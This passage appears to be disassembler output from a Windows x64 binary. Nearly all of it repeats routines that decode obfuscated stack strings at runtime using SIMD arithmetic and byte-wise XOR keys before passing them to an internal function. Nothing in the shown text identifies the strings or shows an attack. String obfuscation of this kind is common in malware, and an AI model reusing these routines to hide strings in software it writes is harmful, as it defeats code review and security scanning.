movd xmm1, dword [rsp + 0x68]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x1400129af
lea r9, [rsp + 0x68]
mov r8d, edi
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140012980
xorps xmm0, xmm0
movups xmmword [rbp + 0x490], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4a0], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400129d0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x490]
call fcn.1400050f0
nop
mov eax, dword [0x1401ff880]
mov dword [rsp + 0x68], eax
movzx eax, byte [0x1401ff884]
mov byte [rsp + 0x68], 0x44
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor al, 0x34
mov byte [rsp + 0x6c], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x4b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4c0], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140012a40
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x4b0]
call fcn.1400050f0
nop
mov eax, dword [str.xIv3tD_CQG6]
mov dword [rsp + 0x68], eax
cmp byte [0x1401ff88b], 0
je 0x140012b3f
cmp r13d, 2
jl 0x140012b04
movdqa xmm3, xmmword [0x140201780]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1402017c0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1402017c0]
shufps xmm2, xmm0, 0xdd
movd xmm0, esi
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402017a0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1402017d0]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rsp + 0x68], xmm2
jmp 0x140012b3f
lea r9, [rsp + 0x68]
mov r8d, edi
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140012b10
xorps xmm0, xmm0
movups xmmword [rbp + 0x4d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4e0], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140012b60
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x4d0]
call fcn.1400050f0
nop
mov eax, dword [0x1401ff88c]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1401ff890]
mov word [rsp + 0x6c], ax
movzx ecx, byte [0x1401ff892]
mov byte [rsp + 0x68], 0x44
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor al, 0x34
mov byte [rsp + 0x6c], al
xor byte [rsp + 0x6d], 0x35
xor cl, 0x36
mov byte [rsp + 0x6e], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x4f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x500], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140012be0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x4f0]
call fcn.1400050f0
nop
movups xmm0, xmmword [str.y_FZBNXN_Z_M_]
movups xmmword [rsp + 0x78], xmm0
movzx eax, byte [0x1401ff8a8]
mov byte [rbp - 0x78], al
mov r8d, edi
cmp r13d, 2
jl 0x140012d67
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x7c]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140012c60
cmp r8d, 0x11
jge 0x140012daf
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140012d80
xorps xmm0, xmm0
movups xmmword [rbp + 0x510], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x520], xmm1
lea rax, [rsp + 0x78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140012dd0
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x510]
call fcn.1400050f0
nop
mov eax, dword [str.gXwVR6]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1401ff8b0]
mov word [rsp + 0x6c], ax
movzx ecx, byte [0x1401ff8b2]
mov byte [rsp + 0x68], 0x57
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor al, 0x34
mov byte [rsp + 0x6c], al
xor byte [rsp + 0x6d], 0x35
xor cl, 0x36
mov byte [rsp + 0x6e], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x530], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x540], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140012e50
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x530]
call fcn.1400050f0
nop
movups xmm0, xmmword [0x1401ff8b8]
movups xmmword [rsp + 0x78], xmm0
movzx eax, byte [0x1401ff8c8]
mov byte [rbp - 0x78], al
mov r8d, edi
cmp r13d, 2
jl 0x140012fd7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x7c]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140012ed0
cmp r8d, 0x11
jge 0x14001301f
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140012ff0
xorps xmm0, xmm0
movups xmmword [rbp + 0x550], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x560], xmm1
lea rax, [rsp + 0x78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140013040
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x550]
call fcn.1400050f0
nop
movups xmm0, xmmword [0x1401ff8d0]
movups xmmword [rsp + 0x78], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400131ff
cmp r13d, 2
jl 0x1400131c1
movdqa xmm5, xmmword [0x140201780]
mov edx, edi
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x7c]
mov r8d, dword [rsp + 0x30]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400130c0
jmp 0x1400131ff
lea r9, [rsp + 0x78]
mov r8d, edi
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400131d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x570], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x580], xmm1
lea rax, [rsp + 0x78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140013220
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x570]
call fcn.1400050f0
nop
mov eax, dword [0x1401ff8e0]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1401ff8e4]
mov word [rsp + 0x6c], ax
movzx ecx, byte [0x1401ff8e6]
mov byte [rsp + 0x68], 0x52
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor al, 0x34
mov byte [rsp + 0x6c], al
xor byte [rsp + 0x6d], 0x35
xor cl, 0x36
mov byte [rsp + 0x6e], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x590], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5a0], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400132a0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x590]
call fcn.1400050f0
nop
mov rax, qword [str.vXVYZX7drbe_PA7tD_CWTF7cRK_XT6]
mov qword [rsp + 0x68], rax
cmp byte [0x1401ff8ef], 0
je 0x14001341f
cmp r13d, 2
jl 0x1400133e4
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14001341f
lea r9, [rsp + 0x68]
mov r8d, edi
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400133f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x5b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5c0], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140013440
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x5b0]
call fcn.1400050f0
nop
mov rax, qword [0x1401ff8f0]
mov qword [rsp + 0x68], rax
cmp byte [0x1401ff8f7], 0
je 0x1400135bf
cmp r13d, 2
jl 0x140013584
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x1400135bf
lea r9, [rsp + 0x68]
mov r8d, edi
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140013590
xorps xmm0, xmm0
movups xmmword [rbp + 0x5d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5e0], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400135e0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x5d0]
call fcn.1400050f0
nop
mov rax, qword [0x1401ff8f8]
mov qword [rsp + 0x68], rax
cmp byte [0x1401ff8ff], 0
je 0x14001375f
cmp r13d, 2
jl 0x140013724
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14001375f
lea r9, [rsp + 0x68]
mov r8d, edi
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140013730
xorps xmm0, xmm0
movups xmmword [rbp + 0x5f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x600], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140013780
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x5f0]
call fcn.1400050f0
nop
mov eax, dword [0x1401ff900]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1401ff904]
mov word [rsp + 0x6c], ax
movzx ecx, byte [0x1401ff906]
mov byte [rsp + 0x68], 0x53
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor al, 0x34
mov byte [rsp + 0x6c], al
xor byte [rsp + 0x6d], 0x35
xor cl, 0x36
mov byte [rsp + 0x6e], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x610], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x620], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140013800
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x610]
call fcn.1400050f0
nop
movsd xmm0, qword [str.cHArZTZNBH_]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [0x1401ff910]
mov dword [rsp + 0x70], eax
cmp byte [0x1401ff913], 0
je 0x14001399f
mov r8d, edi
cmp r13d, 2
jl 0x140013959
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.cHArZTZNBH_]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140013970
xorps xmm0, xmm0
movups xmmword [rbp + 0x630], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x640], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400139c0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x630]
call fcn.1400050f0
nop
movsd xmm0, qword [str.x_XqMF_WK_I_]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [0x1401ff920]
mov dword [rsp + 0x70], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x74], al
mov r8d, edi
cmp r13d, 2
jl 0x140013b17
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.x_XqMF_WK_I_]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140013b30
xorps xmm0, xmm0
movups xmmword [rbp + 0x650], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x660], xmm1
